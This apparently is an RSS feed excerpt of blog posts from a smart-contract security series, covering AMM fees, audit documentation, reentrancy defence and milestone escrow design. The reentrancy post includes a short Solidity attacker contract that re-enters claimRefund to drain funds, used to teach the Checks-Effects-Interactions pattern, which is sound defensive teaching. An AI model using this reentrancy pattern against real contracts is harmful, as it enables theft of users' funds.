&lt;p&gt;Why would anyone risk their capital to let strangers trade against it?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fees.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Every time a user makes a swap on an AMM, the protocol charges a tiny fee (usually around 0.3%). That fee does not go to a CEO or a centralized exchange. It goes directly back into the liquidity pool.&lt;/p&gt;
&lt;p&gt;Because the LP tokens represent a percentage claim over the pool, as those trading fees pile up, the underlying value of the LP tokens increases. The Liquidity Providers earn a yield simply for providing the capital that makes decentralized trading possible.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j3jsswjhw4tcqh2vci0e.png&quot; alt=&quot;A clean, modern 3D infographic diagram on a dark background. In the center is a glowing pool of digital tokens representing a Liquidity Pool. Arrows show 'Traders' swapping tokens and paying a small fee into the pool. Other arrows show 'Liquidity Providers' depositing assets into the pool and receiving glowing 'LP Tokens' and 'Yield' in return. Design should be elegant and precise, using Royal Purple and Soft Gold.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's quickly recap the system architecture we just explored:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Order Books are inefficient onchain.&lt;/strong&gt; Requiring a state change for every order creation and cancellation costs too much gas.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AMMs replace middlemen with math.&lt;/strong&gt; You trade directly against a smart contract (a Liquidity Pool) rather than waiting for a human counterpart.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prices are driven by deterministic algorithms.&lt;/strong&gt; Using formulas like &lt;code&gt;x * y = k&lt;/code&gt;, the AMM automatically raises the price of an asset as it becomes scarcer in the pool.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Liquidity Providers are the backbone.&lt;/strong&gt; They supply the underlying tokens that make the system liquid, earning trading fees as a reward for their capital.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Final Thoughts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;AMMs changed trading by replacing coordination with computation, turning market rules into software anyone can verify.&lt;/p&gt;
&lt;p&gt;They took a complex, middleman-heavy financial process and reduced it to a few lines of self-executing, reliable code. They are a perfect example of how thoughtful engineering can create systems that are not only highly functional, but entirely trustless.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What are your thoughts on how AMMs are designed? Have you ever provided liquidity to a protocol yourself?&lt;/strong&gt; Let's chat about it in the comments below.&lt;/p&gt;
&lt;p&gt;Let's build something you can trust. Follow for more deep dives into smart contract architecture and onchain fundamentals.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/21139/how-amms-work-the-simple-math-behind-decentralized-trading</guid>
<pubDate>Mon, 22 Jun 2026 11:47:13 +0000</pubDate>
</item>
<item>
<title>The Brief for the Judge: Writing Audit-Ready Documentation</title>
<link>https://coderlegion.com/18920/the-brief-for-the-judge-writing-audit-ready-documentation</link>
<description>&lt;p&gt;We have spent the last four posts building &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;MilestoneCrowdfundUpgradeable protocol&lt;/a&gt;&lt;/strong&gt;. We architected an upgradeable proxy, designed a mathematically rigorous escrow engine, fuzz-tested its invariants, and locked the doors against reentrancy attacks. We built a fortress.&lt;/p&gt;
&lt;p&gt;But there is one final step. A secure fortress is incredibly dangerous if you don't leave behind a blueprint explaining exactly how the traps and locks are supposed to work.&lt;/p&gt;
&lt;p&gt;Most developers hate writing documentation. In Web2, bad documentation means a new developer joins your team and spends three days figuring out an API endpoint instead of one hour. Frustrating, expensive, recoverable.&lt;/p&gt;
&lt;p&gt;In Web3, bad documentation is catastrophic. When you hand your code to a security auditor, bad documentation means they might misunderstand the intended behavior of a function. They might classify a deliberate design choice as a vulnerability, forcing you to waste weeks fixing a non-issue. Worse, they might see a real bug, assume it was your intended logic, and let it pass into production where user funds get drained.&lt;/p&gt;
&lt;p&gt;In this final post, I want to share exactly how I approached documenting &lt;strong&gt;MilestoneCrowdfundUpgradeable&lt;/strong&gt; from NatSpec comments to architectural READMEs and why I believe documentation is the most underrated security tool in Web3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Mindset: Preparing the Brief&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When I prepare a protocol for an audit, I think of the documentation as the brief I am handing to a judge before a trial.&lt;/p&gt;
&lt;p&gt;The auditor is the judge. The code is the evidence. But without the brief, without the written explanation of intent, the documented invariants, and the explicit threat model, the judge is left to interpret the evidence alone. And interpretation without intent is where dangerous misreadings happen.&lt;/p&gt;
&lt;p&gt;But here is the deeper truth: documentation isn't just for auditors. It is for the version of you that comes back to this codebase in six months after working on three other projects. That person has forgotten everything. The comments and the threat model are the only things standing between future-you and a catastrophic misunderstanding of your own protocol.&lt;/p&gt;
&lt;p&gt;My rule is simple: &lt;strong&gt;If I have to think for more than five seconds about what a piece of code is doing, that piece of code needs a comment.&lt;/strong&gt; Not because the code is bad, but because the next person reading it shouldn't have to spend those same five seconds. In a paid audit, those five seconds across a thousand lines become expensive hours of confusion.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NatSpec: Before, During, and After&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Solidity uses a comment format called NatSpec (Ethereum Natural Language Specification). My approach to writing it happens in three distinct phases:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Before (The Specification)&lt;/strong&gt;&lt;br&gt;
I write the &lt;code&gt;@notice&lt;/code&gt; and &lt;code&gt;@param&lt;/code&gt; descriptions before I write the function body. This forces me to articulate what the function is supposed to do in plain English before I write a single line of logic. If I cannot describe it clearly in one sentence, I do not understand it well enough to code it yet. The comment becomes the specification; the code is just the implementation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. During (The &quot;Why&quot;)&lt;/strong&gt;&lt;br&gt;
While writing the body, I add inline comments at critical decision points. In the last post, we looked at this exact code block:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;// CEI: Effects - Update the ledger first, before money moves!
_pledges[_id][msg.sender] = 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any competent developer can read &lt;code&gt;_pledges[_id][msg.sender] = 0&lt;/code&gt; and know what it does. What they cannot know without a comment is that this line is here specifically to prevent a reentrancy attack. My personal rule: &lt;strong&gt;The code says &quot;what&quot;. Only a comment can say &quot;why&quot;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. After (The Edge Cases)&lt;/strong&gt;&lt;br&gt;
After the function is complete, I write the &lt;code&gt;@dev&lt;/code&gt; block. This is where I document the non-obvious: the edge cases I considered and rejected, the invariants this function must maintain, and the assumptions that must be true for it to be safe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Power of Visual State Machines&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A smart contract is a state machine. It has states (&lt;code&gt;Fundraising&lt;/code&gt;, &lt;code&gt;Succeeded&lt;/code&gt;, &lt;code&gt;Failed&lt;/code&gt;, &lt;code&gt;Abandoned&lt;/code&gt;) and transitions between those states (&lt;code&gt;finalize&lt;/code&gt;, &lt;code&gt;haltCampaign&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;You can write all of that in prose, but the human brain does not reason about state machines in paragraphs. It reasons about them visually. The moment I drew the state diagram for &lt;code&gt;MilestoneCrowdfundUpgradeable&lt;/code&gt; using PlantUML, a massive gap became visible.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mb6ai4uwwr28ekv3jbsv.png&quot; alt=&quot;Campaign Lifecycle Diagram&quot;&gt;&lt;/p&gt;
&lt;p&gt;Looking at the diagram, I immediately noticed there was no direct transition from &lt;code&gt;Fundraising&lt;/code&gt; to &lt;code&gt;Abandoned&lt;/code&gt;. A campaign could only be Abandoned after it Succeeded. That was a correct design decision, you shouldn't be able to abandon a project that never even got funded but seeing it drawn forced me to go back and verify that the Solidity code actually enforced this explicitly. The diagram asked a question the code never explicitly answered.&lt;/p&gt;
&lt;p&gt;Diagrams also communicate to people who cannot read Solidity. Your investors, your community, or a tokenomics specialist auditing your math might struggle with the raw code, but they can instantly follow a visual map.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The README Architecture&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A lot of Web3 repositories just leave the default Foundry or Hardhat README file. Alternatively, they throw every piece of information into one giant, 3,000-word file.&lt;/p&gt;
&lt;p&gt;One giant file is a red flag. It tells an auditor that the author did not think carefully about who would be reading it. I split the &lt;code&gt;MilestoneCrowdfundUpgradeable&lt;/code&gt; documentation into specific hubs tailored to specific readers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Protocol_Architecture.md:&lt;/strong&gt; Written for the &lt;strong&gt;Auditor&lt;/strong&gt;. Their primary question is: What is this protocol supposed to do, and what rules must it never break? This document answers that immediately.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integration_Guide.md:&lt;/strong&gt; Written for the &lt;strong&gt;Frontend Developer&lt;/strong&gt;. Their primary question is: How do I call these functions correctly without breaking anything? They need the function signatures and error codes, not the threat model.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Incident_Response.md:&lt;/strong&gt; Written for the &lt;strong&gt;Security Researcher&lt;/strong&gt;. If they find a live vulnerability, their primary question is: Who has the authority to pause this, and how do I reach them right now? If they have to dig through installation instructions to find your emergency contact, you are wasting critical seconds during a hack.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threat_Model.md:&lt;/strong&gt; Written for the &lt;strong&gt;Skeptical Reviewer&lt;/strong&gt;. This is the document most developers skip. It says: Here are the attacks we considered, here is why we are protected, and here are the residual risks we knowingly accepted. You cannot write a threat model without thinking like an attacker, and you cannot think like an attacker without finding things you missed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A well-structured repository is a signal of engineering maturity. Before an auditor reads a single line of your Solidity, they have already formed a judgment about how seriously you take correctness based on your file structure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Hardest Part: Combating Drift&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The hardest part is not writing documentation. It is keeping it true.&lt;/p&gt;
&lt;p&gt;Code changes. Documentation does not change automatically. The gap between them is one of the most dangerous states a codebase can be in.&lt;/p&gt;
&lt;p&gt;I experienced this directly. Early in the design of the fiat bridge, &lt;code&gt;pledgeFiatOnBehalf&lt;/code&gt; was intended to apply a reduced platform fee. The NatSpec reflected that. Later, the stakeholder and I decided fiat pledges would be completely fee-exempt on-chain, with fees handled off-chain by Stripe.&lt;/p&gt;
&lt;p&gt;I changed the code. I didn't immediately update the comment.&lt;/p&gt;
&lt;p&gt;I caught it during a final review pass, but imagine if I hadn't. An auditor reading that comment would have expected fee logic that didn't exist, flagged its absence as a high-severity bug, and forced us to waste days in remediation meetings arguing over a phantom issue.&lt;/p&gt;
&lt;p&gt;The discipline I developed from that experience is strict: &lt;strong&gt;Every time you change a function body, you update the NatSpec before you close the file.&lt;/strong&gt; Not before you commit. Immediately. The comment is a structural part of the function, not a separate chore to do later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The BinnaDev Takeaway&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When a junior developer tells me, &quot;My code is clean, it's self-documenting, I don't need to write a README,&quot; my response is always the same:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Show me the part of your code that explains why you made that design decision.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Clean code tells you &lt;em&gt;what&lt;/em&gt;. Only documentation tells you &lt;em&gt;why&lt;/em&gt;. And in smart contract engineering, the why is where all the security lives. &quot;Self-documenting code&quot; makes sense in Web2 where the worst-case scenario is a confused colleague. It does not make sense in Web3 where the worst-case scenario is a misunderstood intent that costs your users everything they trusted you with.&lt;/p&gt;
&lt;p&gt;Here is the practical test: If a professional auditor had to judge whether a specific line in your contract was an intentional design choice or a bug, would your code give them enough information to judge correctly without asking you a single question? If the answer is no, you need documentation.&lt;/p&gt;
&lt;p&gt;And I will be completely honest with you on how I execute this practically.&lt;/p&gt;
&lt;p&gt;English is not my first language. Documentation is fundamentally an asynchronous communication tool, you are writing for a stranger who cannot ask you a follow-up question, they have to wait for your response. In this context, a grammatical error doesn't just look careless; it creates genuine ambiguity. Did the developer mean this or that? To solve this, &lt;strong&gt;I use AI.&lt;/strong&gt; Agile engineering tells us to prioritize working software over comprehensive documentation. That doesn't mean skip the docs; it means be smart about where your mental energy goes. The architecture, the invariant math, the security decisions, those required 100% of my focus. I used AI to help draft NatSpec suggestions and catch grammatical ambiguity so my thinking wasn't limited by the mechanics of expressing it in a second language. The ideas are mine entirely. The precision of communicating them is a collaboration.&lt;/p&gt;
&lt;p&gt;Your code being clean means you are a careful developer. Your protocol being documented means you respect the people who will put their money into what you built. Both are required. You have the tools. Use them.&lt;/p&gt;
&lt;p&gt;This concludes our five-part journey building the &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;MilestoneCrowdfundUpgradeable protocol&lt;/a&gt;&lt;/strong&gt;. From upgradeable proxies to defensive math, stateful fuzzing, reentrancy guards, and audit-ready documentation.&lt;/p&gt;
&lt;p&gt;I hope this series has given you a real-world look at what security-first Web3 engineering actually looks like. Keep building, stay paranoid, and write excellent code.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/18920/the-brief-for-the-judge-writing-audit-ready-documentation</guid>
<pubDate>Tue, 26 May 2026 17:00:00 +0000</pubDate>
</item>
<item>
<title>Thinking Like an Attacker: The Airbags and Seatbelts of Smart Contract Security</title>
<link>https://coderlegion.com/18917/thinking-like-an-attacker-the-airbags-and-seatbelts-of-smart-contract-security</link>
<description>&lt;p&gt;In our last post, we built a mathematical proving ground using &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.getfoundry.sh&quot;&gt;Foundry&lt;/a&gt;. We used stateful fuzzing to prove that the rules of our &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;MilestoneCrowdfundUpgradeable protocol&lt;/a&gt;&lt;/strong&gt; work exactly as intended.&lt;/p&gt;
&lt;p&gt;But testing only proves that the contract behaves correctly when people follow the rules. What happens when someone actively tries to break them?&lt;/p&gt;
&lt;p&gt;In Web2, when you think about security, you think about the perimeter. Who can get in? You build firewalls, you require authentication, you set up rate limiting. The attacker is outside the system, trying to break down the door.&lt;/p&gt;
&lt;p&gt;In Web3, there is no perimeter. Your contract is public. The state is public. Every single function is readable by anyone on earth the moment you deploy it. The attacker is not trying to get past a wall, they are standing inside the room with you, reading your rulebook, looking for a sentence that contradicts itself.&lt;/p&gt;
&lt;p&gt;So, my security-first mindset when I sit down to write Solidity is this: &lt;strong&gt;I am writing rules for a system that a brilliant, motivated, financially incentivized adversary will study longer and harder than I wrote it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this post, I want to show you exactly how I design against those adversaries. We are going to look at the most infamous hack in Web3 history, how to prevent it using the golden rule of smart contracts, and the real-world edge cases I had to actively design around.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Refund Kiosk Glitch&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To understand the most dangerous exploit in smart contracts, you don't need to understand code yet. You need to understand the refund kiosk glitch.&lt;/p&gt;
&lt;p&gt;Imagine a store installs a new, automated self-service refund kiosk. It works like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You scan your receipt.&lt;/li&gt;
&lt;li&gt;The machine dispenses your cash.&lt;/li&gt;
&lt;li&gt;The machine marks your receipt as &quot;refunded&quot; in the database.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A clever person notices something. Between step 2 and step 3, there is a processing gap: a brief moment while the database updates.&lt;/p&gt;
&lt;p&gt;So, the attacker builds a device and physically attaches it to the kiosk's cash dispenser slot. When cash drops into the tray, the weight of the notes triggers a pressure sensor inside the device, which automatically scans the receipt again &lt;em&gt;immediately&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The attacker does not press any buttons. The act of receiving cash is itself the trigger for the next scan.&lt;/p&gt;
&lt;p&gt;The kiosk checks the database: &lt;em&gt;&quot;Is this receipt already refunded?&quot;&lt;/em&gt; The database still says no, because step 3 hasn't happened yet. So the kiosk dispenses again. Cash drops. The pressure sensor fires. The receipt scans again. The database still says no. It dispenses again.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9nvrx9sykb3a5nzkado1.png&quot; alt=&quot;Attack Scenario: Refund Glitch Exploit&quot;&gt;&lt;/p&gt;
&lt;p&gt;This loop continues until the machine is completely empty. Nobody held anyone at gunpoint. The machine was following its own rules perfectly, it checked the ledger every single time before it paid. It just checked a ledger that was always one step behind reality.&lt;/p&gt;
&lt;p&gt;The fix is incredibly simple. You just change the order of operations at the kiosk:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Scan your receipt.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mark it as refunded in the database immediately.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Now, dispense the cash.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now, when the cash drops and the pressure sensor fires a second scan, the kiosk checks the database, sees it is already refunded, and dispenses nothing. The loop never starts. By updating the internal record before handing over the cash, we close the exploitation gap entirely.&lt;/p&gt;
&lt;p&gt;In smart contract engineering, this fix is called &lt;strong&gt;Checks-Effects-Interactions (CEI).&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Check:&lt;/strong&gt; Does this user have a valid claim?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Effect:&lt;/strong&gt; Zero their balance in the ledger right now, before a single coin moves.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interaction:&lt;/strong&gt; Now, send the money.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Reentrancy: The Kiosk on Ethereum&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now that you understand the kiosk glitch, you already understand &lt;strong&gt;Reentrancy&lt;/strong&gt;. Because Reentrancy is exactly that glitch, running on a blockchain.&lt;/p&gt;
&lt;p&gt;In Ethereum, when your smart contract sends ETH to an address, if that address belongs to another smart contract, it can execute code the exact moment it receives the ETH. That receiving code is called a &lt;code&gt;receive()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;That &lt;code&gt;receive()&lt;/code&gt; function is the pressure sensor. The attacker writes it once, deploys their contract, and the blockchain executes it automatically the moment ETH arrives. They do not manually trigger anything. The callback is a feature of how ETH transfers work, turned into a weapon.&lt;/p&gt;
&lt;p&gt;Here is what the attacker's contract looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;contract Attacker {
    MilestoneCrowdfund public target;

    // The pressure sensor: When this contract receives ETH, 
    // it immediately calls claimRefund again, before the first call finishes!
    receive() external payable {
        target.claimRefund(campaignId);
    }

    function attack() external {
        target.claimRefund(campaignId);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we sent the money before updating our internal ledger, this attacker would drain our entire protocol in a single transaction. But because we use the Checks-Effects-Interactions pattern, look at the exact order of the &lt;code&gt;claimRefund&lt;/code&gt; function inside &lt;code&gt;MilestoneCrowdfundUpgradeable&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;// 1. CHECKS: Does the user have a valid claim?
uint256 userPledge = _pledges[_id][msg.sender];
if (userPledge == 0) revert MilestoneCrowdfund__NoContribution();

// 2. EFFECTS: Update the ledger first, before money moves!
_pledges[_id][msg.sender] = 0;

// 3. INTERACTIONS: Now the money moves.
(bool success,) = payable(msg.sender).call{value: refundAmount}(&quot;&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By zeroing &lt;code&gt;_pledges[_id][msg.sender]&lt;/code&gt; before the ETH moves, every malicious reentrant call finds a zero balance and reverts immediately. The ledger is never one step behind.&lt;/p&gt;
&lt;p&gt;As a second line of defense, I also use OpenZeppelin's &lt;code&gt;nonReentrant&lt;/code&gt; modifier. It works by setting a lock flag at the start of the function. Think of it as a door that locks behind you the moment you step inside. If the malicious &lt;code&gt;receive()&lt;/code&gt; function tries to call &lt;code&gt;claimRefund&lt;/code&gt; again, it slams into that locked door, and the entire transaction instantly reverts.&lt;/p&gt;
&lt;p&gt;CEI makes the contract logically correct. &lt;code&gt;nonReentrant&lt;/code&gt; makes it mechanically impossible to reenter. I tell every junior developer: do not choose between them. Use both. CEI is the airbag. &lt;code&gt;nonReentrant&lt;/code&gt; is the seatbelt. You want both in the car.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Real Edge Cases I Had to Design Around&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Security isn't just about stopping hackers; it's about mitigating the risks of your own design choices. There were two specific edge cases I had to actively design around.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. The Live Fee Rate&lt;/strong&gt;&lt;br&gt;
In &lt;code&gt;MilestoneCrowdfundUpgradeable&lt;/code&gt;, the platform fee (&lt;code&gt;defaultFeeBps&lt;/code&gt;) is a global variable that the owner can change at any time. This means two donors to the exact same campaign could pay different effective fees if the owner changes the rate between their pledges.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why design it this way?&lt;/strong&gt; Because the stakeholder explicitly requested the flexibility to run dynamic fee promotions. I immediately flagged the vulnerability to them: what if a compromised owner key raised the fee to 5% right before a massive whale pledge, and then immediately lowered it back? This would silently skim thousands of dollars from a single donor, and unless you were watching the transaction pool in real-time, it would be almost invisible.&lt;/p&gt;
&lt;p&gt;I agreed to the stakeholder's requirement, but only with a strict mitigation strategy. The defense here isn't in the Solidity code, it is in the governance architecture. The owner is strictly documented as an Admin Multisig wallet. A single compromised key cannot change the fee unilaterally. The system around the code must be designed with the same rigor as the code itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The Dust Sweep&lt;/strong&gt;&lt;br&gt;
When dividing milestones by percentages, integer division always leaves a tiny fraction of a cent (wei) permanently locked in the contract. To prevent this &quot;dust&quot; from being lost forever, my contract uses a special code path for the final milestone:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;if (c.milestonesReleased == c.milestoneCount) {
    amountToRelease = c.totalRaised - c.totalWithdrawn;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It simply sweeps whatever is left. But I had to ask myself rigorously: Can this sweep ever release MORE than it should? The mathematical guarantee that it cannot is my invariant: &lt;code&gt;totalWithdrawn &amp;lt;= totalRaised&lt;/code&gt;. That is precisely what that same 4,495-second fuzz run from the last post was verifying. The fuzz test isn't decoration; it is the mathematical evidence that this final sweep is safe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The BinnaDev Takeaway&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you are a junior developer about to deploy your first contract that holds real ETH, here is my ultimate advice to you:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not deploy until you can answer this question about every function that sends money: &quot;What happens if the recipient is a malicious contract?&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not a normal wallet. A smart contract. With a &lt;code&gt;receive()&lt;/code&gt; function you did not write, controlled by someone who wants your users' funds, with a pressure sensor already wired and waiting.&lt;/p&gt;
&lt;p&gt;If you cannot answer that question confidently for every single external call in your codebase, you are not ready to deploy. Go back and apply the Checks-Effects-Interactions pattern to every function that moves value. Add &lt;code&gt;nonReentrant&lt;/code&gt; to every function that moves value. Then ask the question again.&lt;/p&gt;
&lt;p&gt;The developers who get hacked are not the ones who don't know about reentrancy. They are the ones who know about it in theory, but did not sit down with their own code and ask that exact question. Knowledge without application is not protection.&lt;/p&gt;
&lt;p&gt;Read your own code as if you are the attacker. The moment you find something that makes you uncomfortable as the attacker, you have found something to fix as the engineer. If you want a structured baseline for this evaluation, I highly recommend reading Trail of Bits' excellent post, &lt;a rel=&quot;nofollow&quot; href=&quot;https://blog.trailofbits.com/2023/08/14/can-you-pass-the-rekt-test&quot;&gt;Can You Pass the Rekt Test?&lt;/a&gt; It is a mandatory checklist for any serious Web3 engineering team.&lt;/p&gt;
&lt;p&gt;Sleep comes after that review. Not before.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We have architected the protocol, proven the math, and secured the vault. But a secure protocol is useless if no one knows how to safely interact with it. In our fifth and final post, we are going to talk about the most underrated skill in Web3: &lt;strong&gt;Writing Audit-Ready Documentation&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/18917/thinking-like-an-attacker-the-airbags-and-seatbelts-of-smart-contract-security</guid>
<pubDate>Tue, 26 May 2026 07:00:00 +0000</pubDate>
</item>
<item>
<title>From Promises to Proof: Designing a Defensive Escrow Protocol</title>
<link>https://coderlegion.com/15983/from-promises-to-proof-designing-a-defensive-escrow-protocol</link>
<description>&lt;p&gt;In the last post, we looked at how to make smart contracts upgradeable safely. But an upgradeable proxy is just an empty building. Today, we are walking inside the building to look at the engine.&lt;/p&gt;
&lt;p&gt;If you are new to Web3, you might wonder why we even need smart contracts for crowdfunding.&lt;/p&gt;
&lt;p&gt;Think about traditional crowdfunding platforms like &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.kickstarter.com/&quot;&gt;Kickstarter&lt;/a&gt;. You trust the creator, you send them your money upfront, and you hope they deliver. Or, think about basic crypto transfers: you send ETH directly to a developer's wallet.&lt;/p&gt;
&lt;p&gt;Both scenarios have a simple, critical flaw: &lt;strong&gt;you are giving away 100% of your money based on a promise.&lt;/strong&gt; There is no enforced rule that says, &quot;You only get paid if you actually do the work.&quot; If the creator vanishes after taking your money, you are out of luck.&lt;/p&gt;
&lt;p&gt;What I wanted to fix with the &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393&quot;&gt;MilestoneCrowdfundUpgradeable protocol&lt;/a&gt;&lt;/strong&gt; wasn't fundraising. It was execution trust.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Mental Model: What is a Defensive Escrow?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I framed the architecture around a concept I call a &lt;strong&gt;Defensive Escrow.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Instead of sending money directly to a person, you send it to a smart contract. Think of the smart contract as an unbreakable, unbiased robot middleman. The robot locks the money in a vault. It only releases the funds chunk by chunk as the creator proves they've completed specific milestones.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ltbp4nyjyxo4mn8bguu6.png&quot; alt=&quot;MilestoneCrowdfundUpgradeable architecture Image 1&quot;&gt;&lt;/p&gt;
&lt;p&gt;If the creator fails or disappears, the robot protects you automatically by returning whatever is left in the vault.&lt;/p&gt;
&lt;p&gt;Here is how I designed the mechanics to make that happen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Math Problem: Why 10,000 Basis Points?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When you build financial systems in Solidity, you quickly learn one thing: the Ethereum blockchain hates decimals.&lt;/p&gt;
&lt;p&gt;If you try to divide $100 by 3, a normal computer gives you $33.3333... But Solidity doesn't do fractions well. Those leftover &lt;code&gt;.3333&lt;/code&gt; fractions (we call them &quot;dust&quot;) can get permanently trapped in the contract. Over time, the math breaks.&lt;/p&gt;
&lt;p&gt;To remove this ambiguity, I standardized everything using a financial concept called &lt;strong&gt;Basis Points (BPS)&lt;/strong&gt;. In this system, &lt;code&gt;10,000 BPS&lt;/code&gt; is exactly equal to &lt;code&gt;100%&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Instead of giving a creator a fixed amount of tokens, we give them slices of a pie.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Phase 1 is &lt;code&gt;4000 BPS&lt;/code&gt; (40% of the pie).&lt;/li&gt;
&lt;li&gt;Phase 2 is &lt;code&gt;4000 BPS&lt;/code&gt; (40% of the pie).&lt;/li&gt;
&lt;li&gt;Phase 3 is &lt;code&gt;2000 BPS&lt;/code&gt; (20% of the pie).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Why is this pie method so important? &lt;strong&gt;Stretch goals.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Imagine a charity sets a goal of $10,000, but the campaign goes viral and raises $50,000. If our code said &lt;em&gt;&quot;Give the creator exactly $4,000 for Phase 1,&quot;&lt;/em&gt; the contract would get confused by the extra $40,000 sitting in the vault.&lt;/p&gt;
&lt;p&gt;But because our milestones are percentages tied to the total amount raised, the math adapts automatically.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;40% of $10,000 is $4,000.&lt;/li&gt;
&lt;li&gt;40% of $50,000 is $20,000.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The pie gets bigger, but the sizes of the slices stay exactly the same. The code doesn't break.&lt;/p&gt;
